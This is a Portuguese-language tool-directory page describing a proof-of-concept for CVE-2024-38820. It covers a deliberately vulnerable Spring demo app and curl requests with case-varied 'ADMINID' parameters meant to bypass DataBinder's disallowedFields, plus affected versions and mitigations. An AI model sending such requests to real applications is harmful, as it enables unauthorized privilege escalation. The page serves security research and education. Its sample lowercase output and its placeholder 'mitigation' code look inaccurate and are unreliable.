Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
POC-CVE-2024-38820 — Exploit de prova de conceito para CVE-2024-38820, demonstrando bypass de conversão de maiúsculas/minúsculas dependente de localidade da proteção disallowedFields do DataBinder do Spring Framework, com testes automatizados e orientações de mitigação. | Kitploit
Ferramentas/GitHubGitHub/kadamnayan/poc-cve-2024-38820
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHubkadamnayan/poc-cve-2024-38820

POC-CVE-2024-38820

Exploit de prova de conceito para CVE-2024-38820, demonstrando bypass de conversão de maiúsculas/minúsculas dependente de localidade da proteção disallowedFields do DataBinder do Spring Framework, com testes automatizados e orientações de mitigação.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
há 10 mesesAinda não revisado

CVE-2024-38820 Prova de Conceito

Visão Geral

Este projeto demonstra CVE-2024-38820, uma vulnerabilidade no DataBinder do Spring Framework que permite contornar a proteção disallowedFields devido a problemas de conversão de maiúsculas/minúsculas dependentes de localidade.

Detalhes da Vulnerabilidade

  • CVE ID: CVE-2024-38820
  • Componente Afetado: Spring Framework DataBinder
  • Causa Raiz: O comportamento de String.toLowerCase() varia conforme a localidade
  • Impacto: Bypass da proteção de campo, potencial escalada de privilégios

O Problema

A correção para CVE-2022-22968 tornou os padrões disallowedFields insensíveis a maiúsculas/minúsculas usando String.toLowerCase(). No entanto, este método tem exceções dependentes de localidade:

  • Na localidade turca: "ADMINID".toLowerCase() torna-se "adminıd" (com ı sem ponto)
  • Na localidade inglesa: "ADMINID".toLowerCase() torna-se "adminid"

Essa diferença pode permitir que atacantes contornem a proteção de campo usando variações específicas de maiúsculas/minúsculas.

Estrutura do Projeto

root@kitploit:~
src/
├── main/java/com/example/demo/
│   ├── DemoApplication.java          # Spring Boot main class
│   ├── controller/UserController.java # Vulnerable controller with @InitBinder
│   └── model/UserInfo.java           # Model with protected adminId field
└── resources/application.properties   # Locale configuration

test-cve-2024-38820.sh                # Automated test script
pom.xml                               # Maven dependencies (Spring 5.3.39 - vulnerable)

Início Rápido

1. Compilar e Executar

root@kitploit:~
# Build the project
mvn clean compile

# Run the application
mvn spring-boot:run

A aplicação iniciará em http://localhost:8081

2. Teste Manual

Visite o endpoint de teste para ver informações de localidade:

root@kitploit:~
http://localhost:8081/test

Experimente diferentes variações de nomes de campo:

root@kitploit:~
# Normal case (should be blocked)
curl "http://localhost:8081/user?username=test&adminId=999"

# Uppercase (may bypass)
curl "http://localhost:8081/user?username=test&ADMINID=999"

# Mixed case (may bypass)  
curl "http://localhost:8081/user?username=test&AdminId=999"

# Turkish İ character (may bypass)
curl "http://localhost:8081/user?username=test&ADMİNID=999"

3. Teste Automatizado

Execute o script de teste abrangente:

root@kitploit:~
./test-cve-2024-38820.sh

Resultados Esperados

Com Localidade Turca (tr_TR)

  • ✅ adminId=999 → BLOQUEADO (caso normal)
  • 🚨 ADMINID=999 → BYPASSADO (maiúsculas)
  • 🚨 AdminId=999 → BYPASSADO (misturado)
  • 🚨 ADMİNID=999 → BYPASSADO (İ turco)

Com Localidade Inglesa (en_US)

  • ✅ adminId=999 → BLOQUEADO (caso normal)
  • ✅ ADMINID=999 → BLOQUEADO (protegido)
  • ✅ AdminId=999 → BLOQUEADO (protegido)

Configuração

Alterando a Localidade

Edite src/main/resources/application.properties:

root@kitploit:~
# Turkish locale (vulnerable)
spring.web.locale=tr_TR
server.servlet.locale=tr_TR

# English locale (protected)
# spring.web.locale=en_US
# server.servlet.locale=en_US

Definindo a Localidade da JVM

Você também pode definir a localidade padrão da JVM:

root@kitploit:~
mvn spring-boot:run -Duser.language=tr -Duser.country=TR

Análise da Vulnerabilidade

Fluxo do Código

  1. Processamento da Requisição: Spring recebe a requisição HTTP com parâmetros
  2. Configuração do DataBinder: @InitBinder configura disallowedFields("adminId")
  3. Correspondência de Campo: Spring usa correspondência insensível a maiúsculas/minúsculas com toLowerCase()
  4. Problema de Localidade: Na localidade turca, "ADMINID".toLowerCase() ≠ "adminid"
  5. Bypass: A proteção de campo falha, adminId é definido

Saída de Debug

A aplicação registra informações detalhadas:

root@kitploit:~
=== CVE-2024-38820 PoC - Locale Information ===
JVM Default Locale: tr_TR
Test field 'ADMINID' toLowerCase(): 'adminıd'
Test field 'ADMINID' toLowerCase(Locale.ENGLISH): 'adminid'
DataBinder configured with disallowed field: 'adminId'

Versões Afetadas

  • Spring Framework: 5.3.x (antes de 5.3.40), 6.0.x (antes de 6.0.24), 6.1.x (antes de 6.1.13)
  • Spring Boot: versões 2.x e 3.x que usam versões afetadas do Spring Framework

Mitigação

1. Atualizar o Spring Framework

  • Spring Framework 5.3.40+
  • Spring Framework 6.0.24+
  • Spring Framework 6.1.13+

2. Configuração Explícita de Localidade

Use correspondência de campo ciente de localidade:

root@kitploit:~
@InitBinder
public void initBinder(WebDataBinder dataBinder) {
    // Use English locale explicitly
    dataBinder.setDisallowedFields("adminId");
    // Additional protection: check field names with specific locale
}

3. Validação de Campo Personalizada

Implemente validação de campo personalizada que não dependa de operações dependentes de localidade.

Referências

  • CVE-2024-38820 - NVD
  • Aviso de Segurança do Spring Framework
  • CVE-2022-22968 Relacionado

Aviso Legal

Esta prova de conceito é apenas para fins educacionais e de pesquisa em segurança. Use com responsabilidade e apenas em sistemas que você possui ou para os quais tenha permissão explícita para testar.

Baixar ferramenta